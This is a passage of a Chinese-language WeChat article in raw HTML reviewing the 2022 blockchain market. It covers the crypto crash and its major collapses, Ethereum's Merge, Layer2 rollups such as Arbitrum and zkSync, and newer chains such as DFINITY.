left;" data-mid="" mpa-from-tpl="t"><p style="font-size: 20px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #292929;line-height: 28px;" data-mid=""><br/></p></section></section></section></section></section></section><section data-mpa-template="t" mpa-from-tpl="t"><section style="padding:1px 5px;font-size:14px;white-space:normal;" mpa-from-tpl="t"><h2 style="border-left: 5px solid rgb(1, 1, 1);font-weight: bold;line-height: 32px;color: rgb(1, 1, 1);padding-right: 10px;padding-left: 10px;margin: 5px;border-top-color: rgb(1, 1, 1);border-bottom-color: rgb(1, 1, 1);border-right-color: rgb(1, 1, 1);"><p style="border-color: rgb(1, 1, 1);"><span style="color: rgb(0, 0, 0);font-size: 20px;"><strong mpa-from-tpl="t">第一章    2022年区块链行业回顾</strong></span></p></h2></section></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">2022 年是加密货币市场剧烈震动的一年，由几种加密货币价格下跌、网络和交易所故障导致了 2 万亿美元的总市值损失。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">迄今为止，对市场的最大冲击包括 Terra 崩溃、Celsius Network 和 Voyager Digital 申请破产、Three Arrows Capital 倒闭以及FTX的暴雷。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">这些冲击并非孤立出现，而是波及整个市场，导致比特币和以太坊以及加密市场整体下跌。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">最大的问题在于用户的加密货币被锁定在交易所账户中，或者他们的资金管理权交给了其他人。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">加密货币总市值呈现明显下降。</span></section><p style="margin: 24px 1em 16px;text-align: center;width: 100%;line-height: normal;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.38203125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=b7c74865&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0yaauvVM3ibpI0Vf7DLXibYWFXkYicq3O9kq2PlTwmygIuCv0S5Ap7J0Ng%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 12px;"><span style="letter-spacing: 1px;font-family: Optima-Regular, PingFangTC-light;color: rgb(165, 165, 165);"><em>2022</em><em>年截止</em><em>12</em><em>月</em><em>1</em><em>日加密货币市值</em><em>（</em><em>数据来源<a href="https://cn.tradingview.com/symbols/TOTAL/" target="_blank">https://cn.tradingview.com/symbols/TOTAL/</a></em><em>）</em></span><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;"> </span></span></p><p style="margin: 0px 1em;white-space: normal;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: 2em;text-align: center;"><br/></p><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">全公链锁仓量呈现下降，ETH仍然为主要市场，自2021年被BSC以及TRON等链路占据TVL市场后从2021年年底后稳固在60%占比左右。<br/></span></section><p style="margin: 0px 1em;text-align: center;width: 100%;line-height: normal;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3453125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=64b4159a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0trxPL4FWZk5tbAz5YliaT9InpqrYn0I2ibarQ3hG0DibVusspLAIJBXibg%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 12px;letter-spacing: 1px;font-family: Optima-Regular, PingFangTC-light;color: rgb(165, 165, 165);"><em>2022年全链锁仓量占比（数据来源<a href="https://defillama.com/chains）" target="_blank">https://defillama.com/chains）</a></em></span></p><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: center;line-height: 2em;"><br/></section><p style="margin: 0px 1em;text-align: center;width: 100%;line-height: normal;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.346875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=d9bae161&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0pGyicUGyZEpMV2BWZmSpyZvWf6OF9QvCX8We5uQS60fGBzO0FMeNkcg%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 12px;letter-spacing: 1px;font-family: Optima-Regular, PingFangTC-light;color: rgb(165, 165, 165);"><em>2022年稳定币锁仓量总量及市值变化（数据来源<a href="https://defillama.com/stablecoins）" target="_blank">https://defillama.com/stablecoins）</a></em></span></p><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 0px 1em;text-align: center;line-height: 2em;"><em style="color: rgb(165, 165, 165);font-family: Optima-Regular, PingFangTC-light;letter-spacing: 1px;"></em></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">可以见得，2022年市场行情趋于弱势，以下关于全球区块链市场的各类赛道做详细比对。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;"><br mpa-from-tpl="t"/></span></section><section data-mpa-template="t" mpa-from-tpl="t"><section style="padding:1px 5px;font-size:14px;white-space:normal;" mpa-from-tpl="t"><h2 style="border-left: 5px solid rgb(1, 1, 1);font-weight: bold;line-height: 32px;color: rgb(1, 1, 1);padding-right: 10px;padding-left: 10px;margin: 5px;border-top-color: rgb(1, 1, 1);border-bottom-color: rgb(1, 1, 1);border-right-color: rgb(1, 1, 1);"><p style="border-color: rgb(1, 1, 1);"><span style="color: rgb(0, 0, 0);font-size: 20px;"><strong mpa-from-tpl="t">第二章    公链</strong></span></p></h2></section></section><section style="margin-bottom: 16px;line-height: 2em;"><section style="width: 100%;display: flex;flex-direction: column;padding: 0 15px;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;display: flex;justify-content: space-between;" data-mid="" mpa-from-tpl="t"><section style="display: flex;padding-left: 9px;" data-mid="" mpa-from-tpl="t"><section style="text-align: left;" data-mid="" mpa-from-tpl="t"><p style="font-size: 20px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #292929;line-height: 28px;" data-mid=""><br/></p></section></section></section></section></section></section><section data-mpa-template="t" mpa-from-tpl="t"><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="85855" style="border-width: 0px;border-style: none;border-color: initial;" mpa-from-tpl="t"><section style="text-align: center;margin: 10px auto 16px;line-height: 2em;"><section style="border-top: 2px solid;border-bottom: 2px solid;padding-top: 4px;padding-right: 10px;padding-bottom: 4px;display: inline-block;" mpa-from-tpl="t"><section style="display: inline-block;float: left;width:60px;background-color: rgb(254,254,254);margin-top:-8px;" mpa-from-tpl="t"><section style="display: table;width: 100%;color: inherit;border-color: rgb(72, 192, 163);" data-width="100%" mpa-from-tpl="t"><section style="display: table-cell;line-height:1em;" mpa-from-tpl="t"><span style="letter-spacing: 1px;"><em style="color: #000000;font-size: 42px;" data-original-title="" title="">1</em></span></section></section></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: rgb(0, 0, 0);font-size: 18px;letter-spacing: 0.5px;">公链现状</span></section></section></section></section></section></section><h3 style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="letter-spacing: 1px;"><strong><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">一、市场占比及总市值</span></strong><br/></span></h3><h3 style="margin: 24px 1em 16px;break-after: avoid;font-family: Calibri;font-size: 15pt;color: rgb(0, 0, 0);white-space: normal;line-height: 1.75em;text-align: justify;"></h3><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">2022年公链市场较2021年市值下降，从2021年的11月总市值2.3万亿美元下降至2022年12月的7000亿元美元。 </span></section><p style="margin: 0px 1em;text-align: center;width: 100%;line-height: normal;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.38203125" data-s="300,640" style="width: 578px;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=b15d1bf6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0yEb9YIhzM4DSna8PZkiaH9NwUnfrE6zklZRULl77kU7ibiaqPAPZqCKJg%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 12px;letter-spacing: 1px;font-family: Optima-Regular, PingFangTC-light;color: rgb(165, 165, 165);"><em>2022年公链总量及市值变化（数据来源<a href="https://tokenterminal.com/terminal/markets/blockchain）" target="_blank">https://tokenterminal.com/terminal/markets/blockchain）</a></em></span></p><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">市场占比无太大变化，仍然是以比特币、以太坊生态为主要占比的情况。但值得注意的是BSC的占比一直在小幅增加。 </span></section><section style="margin: 0px 1em;text-align: center;width: 100%;line-height: normal;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3578125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=ca68d5df&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0unJ4d6xb31cXibsXSoM7zDnwYL5ahTdYbBo7bNrRDa4icaUXD97hbPfg%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 12px;letter-spacing: 1px;font-family: Optima-Regular, PingFangTC-light;color: rgb(165, 165, 165);"><em>2022年公链占比情况（数据来源<a href="https://tokenterminal.com/terminal/markets/blockchain）" target="_blank">https://tokenterminal.com/terminal/markets/blockchain）</a></em></span></section><h3 style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="letter-spacing: 1px;"><strong><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;"></span></strong></span></h3><h3 style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="letter-spacing: 1px;"><strong><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">二、交易费率</span></strong></span></h3><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">交易费用在一定程度上证明了该链路的茁壮性，但鉴于以太坊、bitcion底层臃肿的原因其费率本身过高不存在统一纬度的对比性。但在总体费率花销上可以看到目前主流公链中的TOP链路。</span></section><p style="margin: 0px 1em;text-align: center;width: 100%;line-height: normal;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4515625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=e0e99b7d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0nGGFW88d0ooeXassYrjziaRCL0y990v8MJ5cxUWRBAOeZnNxjTZGSzg%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 12px;letter-spacing: 1px;font-family: Optima-Regular, PingFangTC-light;color: rgb(165, 165, 165);"><em>2022年各链的费用情况（数据来源<a href="https://tokenterminal.com/terminal/metrics/fees）" target="_blank">https://tokenterminal.com/terminal/metrics/fees）</a></em></span></p><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">由上图可以见得，目前的最主流公链仍然为以太坊，其在过去的365天内共计燃烧了5478187865美元的费用遥遥领先，BSC以binance为媒介收货了大量的交易，共计花费535746930美元，在之后的受欢迎链路分别为老牌链路bitcoin、Avalanche，Helium、Solana、Filecoin、Polygon、Fantom、Arbitrum、Optimism等。</span></section><h2 style="margin: 24px 1em 16px;break-after: avoid;font-family: Arial;font-size: 16pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;"><strong><br mpa-from-tpl="t"/></strong></span></h2><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="85855" style="border-width: 0px;border-style: none;border-color: initial;" mpa-from-tpl="t"><section style="text-align: center;margin: 10px auto;line-height: 2em;"><section style="border-top: 2px solid;border-bottom: 2px solid;padding-top: 4px;padding-right: 10px;padding-bottom: 4px;display: inline-block;" mpa-from-tpl="t"><section style="display: inline-block;float: left;width:60px;background-color: rgb(254,254,254);margin-top:-8px;" mpa-from-tpl="t"><section style="display: table;width: 100%;color: inherit;border-color: rgb(72, 192, 163);" data-width="100%" mpa-from-tpl="t"><section style="display: table-cell;line-height:1em;" mpa-from-tpl="t"><span style="letter-spacing: 1px;"><em style="color: #000000;font-size: 42px;" data-original-title="" title="">2</em></span></section></section></section><section style="float: left;" mpa-from-tpl="t"><span style="color: rgb(0, 0, 0);font-size: 18px;letter-spacing: 0.5px;">链路发展</span></section></section></section></section></section><h3 style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="font-size: 17px;letter-spacing: 1px;"><strong><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;">一、 ETH</span></strong></span></h3><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">今年 Kyros Ventures 机构对加密生态展开了广泛的研究，统计数据显示，以太坊一家独大，而围绕以太坊产生的兼容 EVM 系公链亦数量众多，EVM 系公链形成了一个的加密生态岛群。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">以太坊（Ethereum）作为一个开源的、有智能合约功能的公共区块链平台，具备了充满活力的工具和应用程序生态系统，包括成熟的智能合约架构、大型开发者社区以及应用程序的持续创新。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">其通过 Solidity 语言为技术人才维持飞轮效应，成为孕育大部分 Web3 创新项目的主阵地。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">今年 9 月 15 日，以太坊网络通过 The Merge 的推出经历了历史性的更新。在实践中，这次更新标志着以太坊从工作量证明到权益证明的最终过渡。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">11 月 5 日，以太坊的联合创始人 Vitalik Buterin 揭示了以太坊将进行“合并、激增、天灾、边缘、清除、挥霍”这六个阶段的更新，致力于解决“区块链不可能三角问题”，在提高网络速度、效率和可扩展性的同时，继续坚持安全性和去中心化。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">据 Footprint Analytics 最新数据显示，以太坊 TVL 占据公链的 64%，公链协议数量高达 1744，每日交易达 100 万次左右，各项数据以断层式领先其他公链。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">此外，Messari 公布的最新研报显示，以太坊网络拥有加密领域中最多的生态活跃开发者。综合以上数据，可见以太坊在 Web3 公链中一骑绝尘之地位。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">而以太坊在最初建构之时为了安全性和去中心化，“舍弃”了可扩展性，致使在发展过程中面临网络拥塞、Gas 费用过高等问题。为解决这一难题，除了以太坊自身更新升级，一些链下解决方案崭露头角。</span></section><h3 style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><br/></h3><h3 style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="font-size: 17px;letter-spacing: 1px;"><strong><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;">二、Layer2</span></strong></span></h3><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Layer1 负责解决安全问题，Layer2 负责性能问题。这似乎是目前以太坊生态系统的最佳解决方案。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">因此，许多新公链选择与 EVM 兼容的形式进行接口，这样就能够快速调用开发模块，实现开发者高度友好。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">这类 Layer2 公链既利用了以太坊现有的生态优势和安全性，又解决以太坊现存的扩展性问题。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">目前 Layer2 技术方案包括 State Channel、Rollups 和 Plasma 三类。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">而 Vitalik 曾在 2020 年 10 月发布了“以 Rollup 为中心的以太坊路线图”（A rollup-centric ethereum roadmap），表明 Rollups 系列方案脱颖而出，获得以太坊社区的青睐。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Rollups 方案有两种类型：Zero-knowledge Rollups 和 Optimistic Rollups，现将其代表性公链项目介绍如下。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-decoration: underline;letter-spacing: 1px;"><strong>Arbitrum：先发为胜</strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Arbitrum 是 Offchain Labs 推出的 Optimistic Rollups 二层扩容方案。该项目采取交互式欺诈证明，只执行在 L1 上有争议的特定步骤，直到确定争议的具体步骤。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">此外，Arbitrum 百分百兼容 EVM 以太坊虚拟机，实现用户和开发者高度友好的环境。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">目前，Arbitrum 具有先发优势，主网 Nova 已上线，生态中部署超过 400 个项目。其在所有二层网络中锁定资金价值排行领先，TVL 一度高达 12 亿美元。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-decoration: underline;letter-spacing: 1px;"><strong>Zksync：技术为基</strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">Zksync 是由 Matter Labs 开发的 Zero-knowledge Rollups 二层扩容方案。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">该项目得益于密码学和链上数据可用性的结合，是唯一不需要任何操作活动来保证资金安全的 Layer2 扩展解决方案。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">而其以太坊的兼容程度不及 Arbitrum，这导致以太坊生态中的项目迁移到 zkSync 存在阻力，项目部署难度比较大。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">目前 ZkSync 还处在发展的初期，2.0 主网即将上线。生态中大量项目未上线，如生态项目数量、日交易量、TVL 等维度数据整体表现不佳。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">而一旦制约 ZK Rollup 的技术难度克服，ZK 系将爆发出不亚于 OP 系的潜力。</span></section><h2 style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><br/></h2><h2 style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="letter-spacing: 1px;"><strong><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">三、 新公链</span></strong></span></h2><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">以太坊凭借庞大的生态系统在公链竞争格局中把持“王权”，而“强者愈强、弱者愈弱”的马太效应一度令新兴公链的发展望而却步。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">随着以太坊的发展，其底层架构所展现出来的缺点愈加明显。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">与其囿于 EVM 试图改进，不如彻底推陈出新。走出智能合约链的桎梏，革新型新公链逐渐兴起。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-decoration: underline;letter-spacing: 1px;"><strong>DFINITY：Web3 范式全新探索</strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">DFINITY 与 EVM 系公链走不同路线，主打中心化堆栈特性。其旨在构建一个分布式、去中心化、可扩展、具有无限规模、由社区治理的互联网计算机。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">DFINITY 允许开发者直接在生态上构建各类应用，此外还能兼容互联网现存的各类开放协议，搭建在传统互联网或者以太坊的应用也可以无缝迁移到 DFINITY 网络中。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">DFINITY 主网于2021年 5 月正式上线，生态中的的应用程序覆盖了多个领域和赛道，主要包括社交、基础设施、DApp、DeFi 和 NFT 等。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">此外，其开发者 Grant 计划目前已经资助 180+ 项目，项目涵盖 Web3 DApps、DeFi 平台、游戏、NFT、社交媒体以及开发人员工具和基础设施等诸多方面。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 